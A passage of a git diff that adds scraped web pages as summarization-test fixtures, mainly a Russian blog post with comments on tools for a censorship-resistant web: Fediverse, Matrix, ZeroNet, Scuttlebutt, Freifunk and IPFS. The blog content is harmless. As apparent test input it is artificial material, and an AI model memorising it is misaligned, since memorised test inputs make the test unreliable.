бы было где заправиться и купить макарошек с сосисками, чтобы вечером заварить в джетбойле на ужин. Снаружи он всё еще требует доработок, но в целом тоже неплох. Думаю, когда мы достроим всё как я хочу, следующий шаг — это «умный бус». Электричества у нас достаточно, с домашней автоматизацией у меня куча опыта, вот будет шанс попробовать автомобильную. Там же совсем другой мир и свои фишечки, которые уже ближе скорее к яхтам, чем к квартирам. Тут обнаружились знакомые, которые купили «плавучий дом» и живут в нём прямо посреди озера. Так вот у них есть смешная фича — цифровой якорь. Это GPS-датчик, который постоянно мониторит, чтобы «яхта» не дрейфовала сильно от точки своей «парковки». На случай если вдруг ты не дома и поднимается ветер или шторм — твоя лодка шлет тебе на телефон алерт, что её сносит от точки стоянки и надо бежать ловить её в другом месте. Вот это я понимаю автоматизация! Но всё это потом, для начала еще покатаемся и выясним какие вещи действительно необходимы. Совершенство требует времени. Но даже на третий год строительства Буса, я очень доволен этой игрушкой. Обычная машина бы давно уже заебала. Увидимся в следующем году! 2 комментария 8 Никита Прокопов Сериал — Russian Doll? 0 Вастрик Никита Прокопов, попал! Войти и написать Пёс, ты чо? upd: во время создания этого поста было спасено два велосипедиста. Комментировать Войти и написать +============== diff --git a/tests/summarization/https___vas3k.blog_blog_unstoppable_web_.txt b/tests/summarization/https___vas3k.blog_blog_unstoppable_web_.txt new file mode 100644 index 0000000..32e9ab7 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_blog_unstoppable_web_.txt @@ -0,0 +1,2 @@ +В посте про Веб 3.0 я обещал написать гайд по доступным инструментам децентрализации своего веба для выживания в мире блокировок, уголовок и возможной ядерной войны. Вот он. Начинаем новое движение — кибер-выживальщики! Я буду рассказывать со стороны создателей контента. Не только потому что я сам им являюсь и за прошлый месяц из-за войны потерял 70% читателей, но и потому что я правда считаю, что настоящий «неубиваемый» веб может быть построен только со стороны паблишеров, а не трёх с половиной людей, которые установили VPN и не отключили его тем же вечером, чтобы заказать такси. Потому я начал использовать редкие просветы между экзистенциальным ужасом от новостей для поиска ответов на глупый вопрос «а как бы мне так сделать хотя бы своё личное инфополе чуть более неубиваемым?» Стал активнее щупать децентрализованные площадки, углубляться в подходы и протоколы. Раньше я делал всё это скорее иронично, типа гыгы даркнет норкотеки, а теперь вот как-то не смешно. Балканизация интернета — это уже не вопрос как, это вопрос когда. Белые европейцы просто пока не догадываются, что уже находятся в меньшинстве. Наш новый Суверенный Роскомнадзорный Чебурнет всего лишь присоединился к минимум четырём другим интернетам и это даже не все. Сколько же еще намёков нам нужно? Самое сложное, что в этом безумии нет «плохих» и «хороших». С одной стороны отзывают SSL-сертификаты чужих банков. С другой — Яндекс.Браузер бесплатно в подарок ставит вам свои. Классные. Государственные. Что же может пойти не так, да? Короче, ладно, прочь паникёрство и фатализм, в этой заметке я буду делиться своим опытом. Надеюсь, что в ответ вы поделитесь и своим тоже. Если вы не можете оставлять тут комментарии, пишите свои мысли в наш чат, который мы специально создали по этому поводу. 2 комментария 2 Коба Дмитрий "Я буду рассказывать стороны создателей контента." - возможно, пропущено слово. 2 Viktor Cherniy Про отзыв сертификатов и скулению в статье как раз хорошо написал основатель Реддита — https://twitter.com/yishan/status/1348548616076447746. Ничего с системой доверия не случилось, выбросили на помойку лишнее и продолжили работать как работали. Войти и написать [Easy Mode] Fediverse — жив и активен. Можно брать и пробовать Начнём с Fediverse — группке децентрализованных соцсеточек, связанных друг с другом по протоколу ActivityPub. Сейчас Fediverse, пожалуй, самая доступная и понятная точка для входа для всех, кто хочет как-то пощупать децентрализацию. Раньше были еще протоколы Diaspora и OStatus, но сейчас они скорее мертвы Два самых заметных и активных проекта в федиверсе сейчас — это Mastodon, местный фейсбуко-твиттер, и PeerTube, очевидно, местный ютюб, на который я сразу перейду когда забанят настоящий ютюб :) В принципе, туда уже можно идти, выбирать себе инстанс (об этом будет далее) и регистрироваться. Вы даже скорее всего сразу встретите знакомые лица из твиттера и меня. Из популярных еще есть: Pleroma и Misskey — аналоги Мастодона с дополнительными фичами и лолями. Ими вполне можно пользоваться и так же фолловить юзеров обычного Мастодона. В федиверсе такое легально и кому-то они даже нравятся больше :) Pixelfed — децентрализованный инстаграм или что там вы использовали для фоточек. Funkwhale — аналог SoundCloud для выкладывания музыки и подписки на любимых крипто-диджеев. Lemmy — местный реддит, он же движок для запуска своих федеративных коммьюнити. Дружеские сайты даже могут обмениваться постами между собой! Другие проекты можно полистать на fediverse.party. Вдруг вы захотите вписаться и развивать какой-то милый вашему сердцу проектик. Сейчас это более чем приветствуется. 1 комментарий 8 Дмитрий Скрыльников Минусы федивёрса. Сидел я на мастодоне через ru.social, у автора домен отжали, а он даже не предупредил. В итоге ни нормально мигрировать аккаунт, ни скачать бекап не вышло( Войти и написать 🌐 Федерация vs Децентрализация Федерацию называют ненастоящей децентрализацией, за что часто критикуют. В тотальной децентрализации юзеры соединяются напрямую друг с другом, то есть каждому приходится быть и сервером, и клиентом — а это жуть как неудобно. В федерации же все объединяются вокруг своих локальных центров — инстансов. Инстанс — это как планета, на которой вы живёте и чьим правилам подчиняетесь. Это ваш дом, но читать и подписываться вы можете (и скорее всего будете) на юзеров с других планет-инстансов. В этом суть федерации. Плюс такого подхода в том, что вам не нужно постоянно быть онлайн — все ваши посты синхронизируют между собой ваши инстансы-планеты. Спасибо протоколу ActivityPub. Технически это очень напоминает старую добрую электронную почту (или эхо-конференции, если кто-то еще помнит это слово) — когда я хочу написать письмо другу на @gmail.com, я открываю свой @fastmail.com, пишу текст, отправляю, а дальше уже их сервера как-то сами между собой там договариваются. В ActivityPub то же самое — ваша лента новостей это по сути ваш инбокс, а когда вы подписываетесь на кого-то, вы как бы просите его слать вам новые посты во «входящие». В этом суть федерации. То есть да, отдельный кайф ActivityPub'а в том, что платформы становятся не важны. Вы из своего «твиттера» можете подписаться на «ютюб» любимого блогера и получать его обновления в привычной вам ленте (инбоксе), не бегая с платформы на платформу. На практике такое работает, конечно же, не всегда :) 2 комментария 4 Dmitry Kochkin Типа RSS? Или оно именно шлет тебе что-то? 2 Вастрик Dmitry Kochkin, скорее RSS наоборот, да Войти и написать 🪐 Выбор инстанса Веб 2.0 нас приучил, что если я хочу зарегистрироваться, скажем, в твиттере — я просто иду на twitter.com и создаю там аккаунт. В федиверсе же, как вы поняли, все живут по своим «планеткам», а значит перед заведением аккаунта, нужно сначала выбрать свою. Иными словами, найти себе инстанс. А тут снова думать надо. Поэтому 99% даже моих технически подкованных друзей не проходят этот шаг просто из-за лени :) У каждого инстанса свои правила — это как своя конституция на каждой планете. Когда вы регистрируетесь в твиттере, вы обязуетесь соблюдать правила твиттера и можете быть забанены за их нарушение. В федиверсе же вас могут забанить за нарушение даже правил вашего «домашнего» инстанса. Муки выбора инстанса — одновременно сила и проклятье федиверса Причём нельзя сказать чьи правила однозначно лучше или хуже. На инстансах с жесткой модерацией вас сразу забанят, например, за использование неинклюзивных к LGBTQ++ сообществу местоимений. На некоторых инстансах мастодона, например, запрещен ЦЕНТРИЗМ. Он приравнивается к нацизму :) С другой стороны, на инстансах с «тотальной свободой» и «отсутствием глупой модерации» ? такие особенно любят в России, у нас почему-то свобода ассоциируется с безнаказанностью творится полный трешак — безнаказанность привлекает спам, порно-ботов, нациков, антиваксеров и просто городских сумасшедших из чата вашего ЖКХ. Такой «немодерируемый» инстанс могут просто забанить все остальные, исключить из федерации, и вы даже не сможете читать своих друзей с других инстансов. Короче, сложна. Перед регистрацией придётся провести свой рисёрч. У мастодона на сайте хоть и есть список популярных инстансов, но там указаны только самые стерильные. В России своя отдельная большая тусовка, например, на mastodon.ml. Но я рекомендую всё равно провести свой рисёрч, а не тупо слушать меня. В комментах ниже можно оставлять ссылки на свои профили. Кому-то это поможет с выбором инстанса, а вам будут халявные подписчики. 4 комментария 0 Дмитрий Скрыльников mastodon.ml это самый крупный русскоязычный инстанс, так что это, подписывайтесь https://mastodon.ml/web/@dskr 31 Павел Щорс Нужен инстанс клуба, очевидно. 0 Кораченцов Александр А еще можно поднять свой инстанс. 9 Александр Савиных когда я слышу о бане в посте о децентрализации, мне одному дурно становится? с другой стороны надо как то осаживать Неадекватов и спамеров, не уже нет решения? система баллов или т.п. вещи? Войти и написать 💩 Главная проблема федеративных сеток В посте про Веб 3.0 я упоминал, что главная проблема любых децентрализованных сетей сейчас не техническая, а человеческая — это баны и модерация. Никто не придумал как делать её хорошо. В федиверсе есть баны аккаунтов, есть даже баны целых инстансов, но это как замок для велосипеда — спасает от всяких бомжей и проходимцев, но перед мотивированным вором с болторезом не устоит никто. Ярким примером здесь является история с Gab.com — соцсеткой для американских альт-райтов, нацистов и прочих реднеков, где после бана в твиттере сидит сам Дональд Трамп. Если вы зайдете сейчас туда, вы моментально найдёте репосты новостей RT и прочие «источники настоящей правды», которую скрывают мировое правительство рептилоидов. И это не РЕН ТВ или фабрика троллей, это настоящие американские реднеки. Всё это дерьмо реально стоит того, я рекомендую! Однажды, в 2019 году, они объявили о поддержке ActivityPub и вхождении в Федиверс, что навело ужас на местную тусовку, состоящую в основном из ультра-левых эко-био-гендерквир-активистов. Инстансы Gab'а начали массово и превентивно банить. Но даже этого всем показалось мало. Они начали банить даже невинные нейтральные инстансы, которые НЕ забанили инстансы Gab'а, как бы в знак протеста. А когда банят инстанс — вы не можете читать даже своих друзей оттуда. Всё. Вы потеряли с ними связь из-за очередной межпланетной политической войны владельцев ваших инстансов. Ах, блять, какая ирония :D Причем гэбовцев это особо не задело, они просто поднимали новые инстансы и устраивали весёлые карусели говна уже с них. Война продолжалась год. Федиверс начал распадаться на части по политическим причинам, прямо как наш любимый интернет :D ЛЮДИ. НЕРЕАЛЬНО. ТУПЫЕ. Ладно, в итоге создатели Gab на одном из стримов сами сказали, что ваш Федиверс никому не нужен и отключились от ActivityPub. Но это всё я сейчас рассказал скорее как страшилку, чтобы вы увидели децентрализацию с разных сторон — хороших и плохих. Крайности неплохо помогают понять, что сама по себе децентрализация далеко не является серебряной пулей. Истина, как обычно, где-то посередине. Да, блин, опять говорю как центрист. Меня бы сразу забанили на некоторых инстансах :) 2 комментария 34 Орхан Мамедов Признайся, ты пилил пост, чтобы вставить сюда этот мем 3 Вастрик Признаюсь, по истории с Gab я сначала хотел пройтись лишь касательно, но мем с зебрами заставил дописать до конца, да Войти и написать 💬 Федеративные чаты Отдельно хотелось поговорить про федеративные чаты. Два главных представителя сейчас — старый добрый Jabber (XMPP) и Matrix. По сути кроме них у нас ничего и нет, остальное — либо централизованное (Signal, Telegram, Wire), либо такое себе. И вот с обоими какая-то беда. Для XMPP есть куча неплохих клиентов, для упрощенной регистрации когда-то был даже популярный Jabber.ru, да целые соцсеточки на нём были. ? привет, жуйка, спасибо за рыбу Главная проблема джаббера — он сдох. Даже гики в своих блогах уже не оставляют его в качестве контакта. Мне так и не ясно до конца почему джаббер тихо умер. Наверное, просто от времени. С другой стороны, там внутри действительно очень уставший протокол, которому почти 25 лет, где многие вещи типа тех же пушей или шифрования сообщений изобретались с нуля, что при текущем уровне прогресса веба выглядит ужасающе. На смену ему должен был прийти протокол Matrix, который основан на технологиях этого тысячелетия (да-да, перекладывании json'ов по http). Ну и действительно идеологически и технически весьма неплох. Крайне рекомендую потыкать раздел How does it work прямо на их лендинге или почитать какую-нибудь статью о том, как они внутри строят дерево сообщений. Более того, протокол Матрикса сразу был сделан с расчетом на то, чтобы прозрачно объединить все остальные месседжеры. Бриджинг был заложен из коробки и реализован так, что вы не сразу догадаетесь, что вам пишут в ваш Матрикс из Телеграма, например. Добавьте к этому хардкорное e2e-шифрование, наконец-то поддерживающее несколько устройств, и получите месседжер, который использует Бундесвер и Парламент Франции. Главная же проблема Матрикса — все клиенты для него отвратительное говно. Говорю как человек, у которого Element — это ежедневный рабочий месседжер на всю компанию (да, я нежно его люблю, но местами ненавижу). Так что пользоваться вы им скорее всего не сможете :D 1 комментарий 1 Sergey Khalavchuk для меня XMPP умер когда его похоронили больший корпорации. я всю жизнь использовал jabber, соучаствовал в jabber kpi.cc, а когда повзрослел еще несколько лет использовал свой GMail как jabber, и через нормальный клиент общался через google talk. и кончилось это когда гугл и остальные конторы (мне кажется некоторое время даже facebook давал к своему месенжеру xmpp, ну и всякие mail.ru, quip и прочие) сначала закрыли федеративный интерфейс, а потом и вообще доступ по xmpp. а немного ранее Cisco Systems купила Jabber, и один из крупных enterprise-серверов Jive что бы сделать из него свое проприетарное говно. соответственно в enterprise как основа месенжеров опенсорснй jabber тоже отмер. Войти и написать [Medium Mode] ZeroNet, Retroshare и прочее DHT и F2F Федерация отвязывает нас от платформ и корпораций, но не решает остальные проблемы — её всё так же легко заблокировать, а любой политический кризис всё так же моментально рвёт её на воюющие друг с другом кусочки. Федерация — это децентрализация мирного времени. Помните, когда-то главной нашей проблемой были злые корпорации, которые наши лайки кому-то там продавали. Эх, вот времена были :D В военное же время нужны более серьезные штуки. ZeroNet был одной из таких многообещающих штук году в 2015-м. По сути это обособленная сеть, в которой сайты раздаются вам через WebTorrent, а заходите вы на них через домены ".bit", которые регистрирует внутренний Namecoin. Как автору, мне такое подходит. Я так и так держу свой сервер с блогом, с которого вы сейчас и читаете этот текст, так что минимум один торрент-пир (я) у вас всегда будет. Когда же меня объявят иноагентом и начнут блокировать — мои фанаты смогут одним кликом поднять «зеркала» моих постов, которые более того, даже будут открываться по тем же самым ссылкам, если наши крипто-DNS продолжат работать. А если нет — магнет-хеши никто не отменял. Их невозможно заблокировать, это как запретить цифры. Для запуска ZeroNet'а всё-таки придётся скачать приложение, но оно просто висит в фоне, а вы браузите сеть через свой обычный фаерфокс. Даже регистрироваться не надо. К сожалению, к 2022 там настала тишина. ZeroNet скорее умирает, чем растёт. Жаль. 👎 Лично мне кажется, ZeroNet убило отсутствие прозрачного гейтвея в обычный веб. Я бы начал с удобной блог-платформы по типу Medium, доступной в том числе по HTTP для обычных юзеров, привлёк бы на неё блогеров хорошим UX, а уже потом, когда их начали бы объявлять иноагентами, гнал бы всех их читателей на установку приложения. Вторым заметным проектом в этой области был Retroshare, который захотел переизобрести всё сразу — от файлообмена и RSS до чатов и электронной почты. Основной у них был свой супер-апп на старом добром Qt, что, конечно, очень больно. Зато были и плюсы. Они стали пропагандировать подход F2F вместо P2P. F2F — это Friend-to-Friend, то есть вы сначала строите свою локальную сеть друзяшечек, с которыми обмениваетесь новостями и файлами, а уже потом, если захотите, врываетесь на более глобальный уровень. У F2F, на мой взгляд, есть много неизведанных перспектив. Если в P2P у вас вся надежда на блек-лист — то есть вы должны забанить тех, кого не хотите, то F2F изначально работает как вайт-лист. Вы транслируете только тех, кому действительно доверяете. В некоторых ситуациях это может быть очень полезно. Например, я делаю своё децентрализованное СМИ. У него много нод, но я явно не хочу, чтобы любой мог на них что-то опубликовать. Я доверяю определённому кругу источников и хочу поддерживать их «неубиваемость», но не хочу транслировать новости условной Алькаиды. Сейчас это реализовано для файлообмена, но может использоваться и шире. Каналы в Retroshare Retroshare, как и до сих пор здравствующие Usenet и Freenet, до сих пор популярны в странах, где законодательство разрешает штрафовать людей за скачивание каких-то файлов в обычном интернете. Например, за торренты в Германии. Да-да, а вы думали я тут песочить только Китай и Россию буду. «Первому миру» тоже достанется! И да, сейчас в Германии вполне реально на случайной гик-тусовке найти чувака, который платит за usenet-провайдера. Можем вместе провести такой эксперимент. С вас пиво. 4 комментария 16 Павел Щорс это как запретить цифры https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B7%D0%B0%D0%BA%D0%BE%D0%BD%D0%BD%D0%BE%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%BE 5 Павел Щорс Отправилось раньше, чем хотел - короче цифры уже давно успешно запрещают, кек 1 Владимир Корниенко Retroshare действительно выглядит, как ретро 1 Vladimir Bodrov Павел Щорс, ну всё-таки там речь о числах, а не цифрах. Буквы 'х', 'у' и 'й' не запрещены, но запрещено слово из них. Войти и написать [Expert Mode] Scuttlebutt, Manyverse, Bridgefy и прочий тотальный оффлайн Мой любимый режим. Здесь находятся самые ебанутые идеи, которые никогда в жизни не станут массовыми, но они просто изумительно-романтично прекрасны. Secure Scuttlebutt (или коротко ssb) — это оффлайновая соцсетка, сразу спроектированная под выживание в ядерной пустоши когда интернет уже не будет существовать. Посты в ней могут синхронизироваться хоть по блютусу. Очень рекомендую посмотреть интро-видео с их лендинга, оно довольно милое и объясняет всё на примере простой лав-стори. SSB придумали новозеландцы, а для них полная изоляция острова — весьма не выдуманная проблема. Посты в Scuttlebutt хранятся только на вашем комьютере, просто как файлы в папках. Каждый ведет свой оффлайновый дневник, а синхронизация новых постов с «друзьями» происходит непосредственно при встрече (копированием по блютусу или wifi). Прокси-синхронизация через друзей друзей, кстати, тоже возможна. Для передачи постов на более дальние расстояния (с использованием интернета) существуют хабы, здесь иронично названные «пабами», куда можно зайти и как бы сказать «хей, никто из моего списка друзей случайно не заходил тут на досуге и не оставлял для меня новых постов ли?». Всё так аскетично, что у Scuttlebutt даже нет возможности «войти» в свой аккаунт с разных устройств. Ваш компьютер и есть ваш аккаунт. Ваша папка ~/.ssb со всеми постами вашего дневника и приватным ключом — вот и всё. Конечно, её можно скопировать на новый компьютер, но постить одновременно с двух не получится. Несмотря на всю хардкорность происходяшего, когда я зашел в первый же публичный паб, я встретил там аж трёх знакомых — Бобука, Свана и Альтсофа. Отличная компания. Вот как наступит ядерная зима, будем ездить друг к другу новостями обмениваться. К этой же категории можно отнести и всякие mesh-месседжеры, например Bridgefy или Fireside . Они получили свою популярность во время протестов в Беларуси и Гонконге, когда интернет полностью отключали. О них вы и так скорее всего слышали, а когда отключат интернет и у вас, скорее всего скачаете первым делом :) 1 комментарий 3 Ivan Klimchuk В 2020 Bridgefy в самом деле долгое время у меня стоял, но все таки дальность у него не та, чтобы прям супер связь обеспечивать. Ну и даже в относительно крупном городе, вроде Минска, там было очень мало контактов для связи. Войти и написать [Hardcore] Физически своя инфраструктура Ладно, этот раздел я уже пишу скорее в шутку. Иногда оффлайн становится настолько тотален, что интернет не просто кем-то там заблокирован, он физически уничтожен. Тогда приходится брать антенну и лезть на крышу, чтобы поднимать свою «инфрастуктуру» поверх пока еще доступных вам каналов для связи. Серьезное описание происходящего выходит за рамки этой статьи. Но мне бы правда интересно бы хоть когда-нибудь попробовать такое! Самым близким по духу и географически для меня проектом здесь является Freifunk.net — это проект немецких хакеров-активистов, которые в далёком 2003 году решили накрыть город собственной физически независимой (!) от провайдеров mesh-сетью на домашних WiFi роутерах, направленных антеннах и OpenSource программном обеспечении. И если вы сейчас махнули рукой, мол, парочка гиков пробросила локалку между домами, то вот вам карта активных нод — в одном только Берлине сейчас более 700 устройств, а в Германии их больше 41 тысячи. Ребята реально ползали по крышам и договаривались с церквями, чтобы установить рипитеры на их шпилях и лучше покрыть весь город. С помощью больших микроволновых антенн они даже добили до пригородов. Хактивизм в Берлине вообще весьма жив и активен до сих пор, не зря же тут родина ССС. Кройцберг, как полагается, наш главный центр активизма. Наклейки сети Freifunk вы можете найти даже у себя на крыше Freifunk.net жив и до сих пор, но в 2012 на него обратили внимание СМИ, а за ними и государство, которое немедленно сказало АЛЛЕС ФЕРБОТЕН и пригрозило активистам большими штрафами, если через их сеть вдруг скачают хоть одну нелегальную серию Комиссара Рекса. Угрозы немецкого правительства отпугнули многих законопослушных немцев и сеть перестала развиваться. Провайдеры и лоббисты снова победили. Поэтому в Берлине и до сих пор 100-мегабитный домашний интернет стоит от 40 евро в месяц, а торрентов боятся как ОМОН в России. Так опенсорсный интернет умер даже несмотря на всю мощь ССС, которая, напомню, вторая по силе после Анонимусов организация хакеров в мире. Покрытие Starlink на 2021-й год В последние годы на вершину хайпа взобрался Илон Маск со своим старлинком, который пообещал покрыть всю планету mesh-сетью своих спутников, что позволит благословлённым Маском людям не зависеть от наземной инфраструктуры вообще. Проект всё еще тестовый, доступ дают только своим, но когда началась война в Украине, Маск прислал нашим ребятам несколько точек доступа и включил старлинк на её территории. Они обещали написать отдельный пост в Клубе по итогам. Антенна старлинка. Фоточка от братишек из Украины. Держитесь. Я обещал, что мы еще выпьем пивка под мирным небом Киева Илон вон даже красненьким варнинг прислал Скорость весьма норм. Хотя, конечно, это без нагрузки и в тестовом режиме Ну и раз уж вспомнили про Клуб, как же не вспомнить проект Владимира Бодрова, который рассказывал как они запускают свои маленькие спутники связи. Пора бы уже принять, что 21 век это не только мемы и тиктоки, но еще и доступный космос и куча электроники размером с зажигалку, которая пока еще чудом нам доступна, а антенны для приёма данных с них теперь занимают не пару-тройку деревень, а вполне себе помещаются на крышу автомобиля. CubeSat. Спутники — это весело! Ну и еще одна приглянувшаяся мне идея — проект Reticulum. Ребята делают штуку, которая позволит поднимать свою mesh-сеть на любой уничтоженной инфраструктуре, вплоть до домашних IoT розеток. Так что после ядерной войны будем рассыпать вокруг браслеты Xiaomi и общаться через них. У них даже README в PDF файле. Это очень предусмотрительно)))0))))) Комментировать Войти и написать Во что верю я? До написания поста я несколько раз пытался обсуждать эту тему с друзьями в оффлайне и их реакция была примерно одинаковой: Дада, очень интересно, Вастрик, жаль вся эта херня никому кроме тебя и каких-то там угнетаемых леваков нахер не нужна. Нормальный человек просто забьёт на весь этот интернет при первой же возможности и пойдёт обратно в пещеру выковыривать еду из под ногтей. Они правы. Жили себе без интернета и так же спокойно забудем про него. Может даже взамен нам каких-нибудь супер-способностей дадут как в Дюне. Но я пока наивно уверен, что интернет, как общемировая и независимая сеть обмена знаниями, критически важен для дальнейшего прогресса человечества. Так что побрейнстормлю тут своими мыслями о том, что можно делать. Приглашаю всех присоединяться, хотя и не ожидаю никого. 1 комментарий 10 Илья Рябов Но я пока наивно уверен, что интернет, как общемировая и независимая сеть обмена знаниями, критически важен для дальнейшего прогресса человечества. Ты не один такой наивный 🥹 Войти и написать 1️⃣ WebTorrent, ActivityPub и нужен новый DNS Идеальная для меня интернет-площадка на данный момент выглядит как эдакий Substack, который хостит посты через WebTorrent, раздает статику через IPFS, федерируется через ActivityPub и обычные имейл-рассылки, авторизует людей по GPG-like ключам, а человекочитаемыми ссылками там заведует некий новый DNS, который шифрован (как в DNSCrypt, который по факту еще никем не поддерживается) и не имеет выраженных центров влияния (современный DNS — это дерево, а нам нужен граф). В общем-то предыдущий абзац и есть квинтессенция этого поста и моего опыта на данный момент. Его нужно прочитать 5 раз, он сложный, это легально. Я же пойду изучать дальше. WebTorrent и IPFS офигенны простотой интерфейса — любой контент адресуется просто уникальным хешом. Если хеш есть хоть у кого-то в сети (DHT) — контент загружается. Даже в ситуации тотальной войны достаточно хоть кому-то загрузить контент и смерть (или блокировка) его первоисточника больше не является проблемой. Это и есть настоящий unstoppable web. Он отбирает у Роскомнадзора суперсилу блокировки источников одной командой, ведь теперь им придётся охотиться за каждым сидом отдельно, что намного сложнее. ActivityPub решает проблему автоматической доставки контента по всем уголкам, инстансам и планетам. Ну и какой-никакой модерации, хотя я бы тут делал не блок-листы, а наоборот, вайт-листы источников, от которых я хочу всегда получать апдейты вне зависимости от ситуации. Примерно как я сейчас делаю на infomate.club. Даже если меня заблокируют, его код полностью лежит на гитхабе, любой сможет поднять у себя такой же и продолжить агрегировать важные для него источники, что сделает их неубиваемыми. Остаются две главные проблемы современного интернета — DNS и IP (без TCP). Попытки заменить первый уже есть, те же eth.domains и unstoppabledomains.com, но они всё еще воюют друг с другом вместо того, чтобы дружить. Второму же альтернатив всё еще нет. Короче, я походу заново изобретаю ZeroNet. Штош :) DNS и IP сейчас два главных препятствия на пути к неубиваемому вебу. Из-за простоты их убийства Роскомнадзор и побеждает нас 3 комментария 0 Valerii Ovchinnikov Можно взять идею .onion сайтов, которые как раз маршрутизируются без ip В dht лежит хеш-линк на узлы-представители, которые можно постоянно менять в общем-то Через представителей договариваетесь, где у вас рандеву-нода (опять же можно динамически менять в теории) Через рандеву ноду общаетесь, как через почтовый ящик, подписанными (и даже зашифрованными) сообщениями 0 Denis Ananev Классный текст. Мне кажется было бы полезно еще упомянуть проект https://blueskyweb.org/ 0 Bulat Zamilov Про ркн и блокировки похоже на правду, а что делать если начнут умышленно эксплуатировать коллизии хешей и 51%? То есть так уже делают с торрентами - получается как бы технология есть, но вместо ожидаемых нормальных данных - белый шум Войти и написать 2️⃣ Новый логин: OpenID, DID или IndieAuth Про GPG-like аутентификацию я писал уже в прошлом посте. Она уже реализована на многих криптопроектах и в принципе работает (см. Wallet Connect). W3C недавно (в 2021) даже принял стандарт Decentralized Identity (DID), так что всё активно идёт в эту сторону. Просто надо подождать лет эдак восемь. Мозила однажды пыталась нанести добро по данной области со своей Persona, но из-за внутренних склок и хаоса внутри мозиллы там всё проебали. Выходцы из неё потом сделали Portier, где учли многие ошибки, но он так и не получил особой популярности. Ждём новых смельчаков. Они щас очень нужны здесь. Комментировать Войти и написать 3️⃣ POSSE или PESOS Два термина из индивеба. Первый расшифровывается как Publish (on your) Own Site Syndicate Elsewhere — создавай контент на своём сайте и кросс-пости везде. Второй описывает обратную идеологию: PESOS (кто хихикнул — проиграл!) — пости везде, а потом агрегируй у себя в одном месте. На самом деле, это именно то, чем мы все занимались в нулевых. Как сейчас помню, даже этот самый бложек агрегировал на главной мои чекины в форсквере, треки из стравы, лайки из ласт.фм и глупости из твиттера. Даже фотка вот сохранилась. К чему я всё это? Да к тому, что из пяти описанных выше платформ жив разве что твиттер и, собственно, мой бложек. Потому да, смысл куда-то всё собирать все-таки был :) В новом вебе люди будут подписываться на людей, а не на «аккаунты» Я не хочу ТикТок, я не хочу алгоритмы. Я хочу читать людей. Живых, со своими проблемами, болью, мыслями, идеями и всем вот этим человеческим несовершенством и аутентичностью. Тренд на аутентичность сейчас вообще начинает заметно расти — это видно по новым социальным приложениям для поколения современных школьников и студентов. Современный веб 2.0 уже превратился в телевизор, а всё самое интересное происходит именно в «человеческих» подпольях. Я говорил это лет пять назад и продолжаю говорить сейчас. Тренд только усиливается. 3 комментария 8 Михаил Семиколенов (Покряхтывает) а какие сейчас популярные приложения для школьников и студентов? 2 ReDetection про телевизор сто раз верно. это одна из причин моих поисков альтернатив инстаграму, однако 0 Denis пости везде - опечатка. Войти и написать 4️⃣ Похоже, всё равно придётся ставить приложения Да, я правда не верю в массовую популярность VPN и TOR. Всё это костыли, которые юзеры будут сразу отключать, как только им нужно заказать Яндекс.Еды, а потом забывать включить обратно. «Неубиваемость» должна быть реализована со стороны паблишера, а не юзера — только тогда она может стать действительно массовой. Но после долгих месяцев рисёрча я всё-таки немного сдаюсь и говорю, ок, совсем без клиентских модификаций в военное время не получится. 99% людей хотят подписываться на контент на привычных им Одноклассниках и Телеграмах, так что весь этот «новый веб» не будет работать пока он не будет бесшовно и за один клик потребляем из «старых» платформ. Себя я тоже отношу к этим 99%. Я никогда не буду регистрироваться на каком-то там сайте, чтобы читать даже любимого мной блогера. Я лучше найду его телеграм-канал или рассылку, мне так удобнее. А это опять ограничивает нас классическими DNS, TCP и IP. А над ними у Роскомнадзора сейчас полная власть. Кажется, единственный вариант, который получится продать более менее массовой аудитории — приложения (или плагины). Нет, не как у Реддита или Медузы. Там вам навязывают приложения потому что в них не работает ваш адблокер, и можно показывать вам бесконечное количество рекламы. Я имею в виду нормальные приложения. Взять тот же Телеграм, например, который когда-то в начале неплохо так противостоял атакам Роскомнадзора благодаря двум вещам: Встроенным прокси, которые меняли IP адреса серверов телеграма быстрее, чем Роскомнадзор успевал их блокировать, автоматом перебирали нерабочие и позволяли одним кликом добавить свой. Протоколу tg://, который вообще отвязал телегу от всех этих DNS и SSL, а юзера просто сразу перекидывало в приложение и открывало нужный пост или канал по его уникальному названию. Переизобретать DNSы долго и муторно, а вот начать использовать кастомные URL-схемы намного проще. Apple в iOS, например, вполне себе поддерживает кастомные URL для всех своих приложений, чтобы не полагаться на веб вообще внутри своей экосистемы. Да, для простых юзеров простого интернета всё равно останутся https://-ссылки, но где-то внизу страницы всегда будет надпись «когда нас заблокируют, вы всегда сможете найти наш контент в рое торрентов по протоколу unstoppable://, для чего просто скачайте вот это приложения/плагин». ? И добавьте цифру 7 к джойказино! 2 комментария 2 Вадим Ипполитов но где-то внизу страницы всегда будет надпись *которую прочитают только гики :( 5 Вастрик Ну и это норм, нам оно и нужно стратегически. Это имеет накопительный эффект. Большую часть времени я читаю простых блогеров и потребляю мемчики, которые не заблокированы. Я не особо утруждаю себя чем-то, кроме перехода по обычным https:// линкам из их телеграм-каналов или где они их там постят. Но однажды в этой нашей «блого-вселенной» блокируют условного Навального, который становится недоступен по https://, но всё так же доступен только через плагин. У остальных блогеров моментально срабатывает реакция — поддержать коллегу и написать свои посты о том, как можно легко продолжать читать Навального, просто установив приложение/плагин. Теперь доступ есть не у 3% гиков, а у 10%, условно. В следующий раз заблокируют Медузу, их точно так же поддержат, теперь уже не 10%, а 30% сети ходит по ней с «плагином». Просто в отличии от VPN он не ломает им весь остальной интернет, он действует только на наш, условный, федиверс. С каждой блокировкой такая сеть только укрепляется, а не разваливается как сейчас. Всё это очень похоже на AdBlock или торренто-качалки. Один раз освоим и установив Transmission, ты можешь качать что угодно. Войти и написать Заключение Погружение во всё это буйство децентрализованных площадок интересно не только с технической стороны. Яркость впечатления придаёт еще то, что действительно пока ещё сидит, скажем так, необычная аудитория. Погружение в этот мир позволяет прям неплохо так пробить свой привычный пузырь, увидеть правда разных людей. На самих же площадках царит атмосфера раннего маленького интернета — когда тебе на пост "Hi all!" приходит случайный незнакомец и отвечает "Welcome!" Потому что на каждом инстансе есть отдельная лента «постов юзеров этого инстанса» и некоторые её даже читают. В общем, аутентичность зашкаливает. В большом интернете-телевизоре принято в основном кричать и выпендриваться, а в маленьком это никому не нужно, всё еще можно быть искренним и снова постить тупые мысли и мемы. Начинаю замечать, что в твиттере из-за самоцензуры я не пишу примерно 4 из 5 твитов, которые хотел бы. Не потому что в твиттере людей больше, а скорее потому 